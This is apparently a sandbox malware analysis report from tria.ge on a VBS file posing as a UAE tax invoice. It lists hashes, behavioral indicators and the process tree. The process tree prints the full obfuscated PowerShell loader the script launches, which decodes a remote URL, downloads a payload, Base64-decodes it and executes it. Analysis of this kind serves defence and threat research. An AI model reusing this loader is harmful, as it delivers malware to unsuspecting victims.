Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
145s -
max time network
147s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
08/05/2023, 18:26
Static task
static1
Behavioral task
behavioral1
Sample
TAX-INVOICE-UAE-UNPAID-NOTIFICATION.vbs
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
TAX-INVOICE-UAE-UNPAID-NOTIFICATION.vbs
Resource
win10v2004-20230220-en
General
-
Target
TAX-INVOICE-UAE-UNPAID-NOTIFICATION.vbs
-
Size
34KB
-
MD5
21a4e31b7ca2e4608bf43d2ad901edc3
-
SHA1
b0e3f0ec85b343fb75bb00fe4fdb3945714d52d2
-
SHA256
beda408709feea7d2023f328e9c97bf4d090bcfb3948fc4e4d9c5c580d8f5858
-
SHA512
68686bfa80bc22521da952707aa38a7d3b0a1caedaef2c6ba436ddaa12bed2dbc41982e650945877ce633f26049dcbbfc946ba486c317b07e5be868ebe379fd2
-
SSDEEP
768:7XDUAi25dFuE6dFxAi6EvM6bjUDSXjuISLDIca:7XQV0e76EqOMfa
Malware Config
Signatures
-
Blocklisted process makes network request 49 IoCs
flow pid Process 2 1344 WScript.exe 6 1788 powershell.exe 7 1788 powershell.exe 8 1788 powershell.exe 9 1788 powershell.exe 10 1788 powershell.exe 11 1788 powershell.exe 12 1788 powershell.exe 13 1788 powershell.exe 15 1788 powershell.exe 16 1788 powershell.exe 17 1788 powershell.exe 18 1788 powershell.exe 19 1788 powershell.exe 20 1788 powershell.exe 21 1788 powershell.exe 22 1788 powershell.exe 23 1788 powershell.exe 24 1788 powershell.exe 25 1788 powershell.exe 26 1788 powershell.exe 27 1788 powershell.exe 28 1788 powershell.exe 29 1788 powershell.exe 30 1788 powershell.exe 31 1788 powershell.exe 32 1788 powershell.exe 33 1788 powershell.exe 34 1788 powershell.exe 35 1788 powershell.exe 36 1788 powershell.exe 37 1788 powershell.exe 38 1788 powershell.exe 39 1788 powershell.exe 40 1788 powershell.exe 41 1788 powershell.exe 42 1788 powershell.exe 43 1788 powershell.exe 44 1788 powershell.exe 45 1788 powershell.exe 46 1788 powershell.exe 47 1788 powershell.exe 48 1788 powershell.exe 49 1788 powershell.exe 50 1788 powershell.exe 51 1788 powershell.exe 52 1788 powershell.exe 53 1788 powershell.exe 54 1788 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 WScript.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1788 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1788 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1344 wrote to memory of 1788 1344 WScript.exe 28 PID 1344 wrote to memory of 1788 1344 WScript.exe 28 PID 1344 wrote to memory of 1788 1344 WScript.exe 28 PID 1344 wrote to memory of 1788 1344 WScript.exe 28
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TAX-INVOICE-UAE-UNPAID-NOTIFICATION.vbs"1⤵
- Blocklisted process makes network request
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1344 -
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe"C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" "Function Dodder9 ([String]$Bruttoindkomstens){For($Halvcirkel70=1; $Halvcirkel70 -lt $Bruttoindkomstens.Length-1; $Halvcirkel70+=(1+1)){$Intersqueezing=$Intersqueezing+$Bruttoindkomstens.Substring($Halvcirkel70, 1)};$Intersqueezing;}$Timbren=Dodder9 'ShCtSt p sH:M/ / b lMoAgG.TnOa cReTx . eHsU/SwbpH- cDoUn t eSn tE/Sp lSuPg i n sS/ DGRACCO OKO Lm/PFDiEn aOn sSeDk s pEe r t e rM.CaCs i ';$Intersqueezing01=Dodder9 'SiSekx ';$Intersqueezing00=Dodder9 'S$ DMoHd dAe r C=R M(XN e wS- OBb jRe cht NYeStD. WAeCb C lUiCe n tV) .EDEo wOn lPo aUdSS t rHiMnEgU(F$AT i mSbPr eEn ) ';.($Intersqueezing01) (Dodder9 ' $Dl iOs lBsE2 =E$Be nSvT: aspZpMd a tBa ') ;$lisls2=$lisls2+'\Afkappet.Cif';.($Intersqueezing01) (Dodder9 'A$BBIr uFdWzFo nIe = - nUoRtK( TPePsAtG-FPCaKtBhB C$Kl iBs lFsS2S) ') ;if ($Brudzone) {while ($Dodder -eq $Intersqueezing3) {.($Intersqueezing01) $Intersqueezing00;.($Intersqueezing01) (Dodder9 'TSBtRa r t -PSIl ePe pP P5 ');}.($Intersqueezing01) (Dodder9 ' S eItr-JCSoFnFtFeOn th $ l i s l s 2R O$ D o dPdHeJrD ');}.($Intersqueezing01) (Dodder9 'E$ D oPd dneBr = GDePt -ICtoPnltSe nPtU H$Cl i s lZsU2P ');.($Intersqueezing01) (Dodder9 'B$EPGa rIaTgDuTaKyUa n eHr n e sP =V O[WSMyasAtReRmR. C oLn vDe rStS]G:B:NFCr o mNB aSs e 6S4PSPt rCiRnsg ( $SDCoAd dBe r )G ');.($Intersqueezing01) (Dodder9 ' $PICnUtVeNr s qFuSe eQzGi n g 2c = S[ASSyAs t eAm . TPeKx t . E nRc o d i nvgs]F:R: A SCCSITIK. GSeStKSPtSr i nCg (S$KPBa r a gPu aCy aUnde r ndeTsP)T ');.($Intersqueezing01) (Dodder9 'L$FPAr oarVeTf o rXm =S$ ICn tSe r s qSuOeKeOzUi nFgS2G. s uKbDsItNrMi nSgC( 1S8 7S4S5 1E, 8 4A6S6 ) ');powershell $Proreform;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1788
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
61KB
MD5fc4666cbca561e864e7fdf883a9e6661
SHA12f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5
SHA25610f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b
SHA512c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d
-
Filesize
161KB
MD573b4b714b42fc9a6aaefd0ae59adb009
SHA1efdaffd5b0ad21913d22001d91bf6c19ecb4ac41
SHA256c0cf8cc04c34b5b80a2d86ad0eafb2dd71436f070c86b0321fba0201879625fd
SHA51273af3c51b15f89237552b1718bef21fd80788fa416bab2cb2e7fb3a60d56249a716eda0d2dd68ab643752272640e7eaaaf57ce64bcb38373ddc3d035fb8d57cd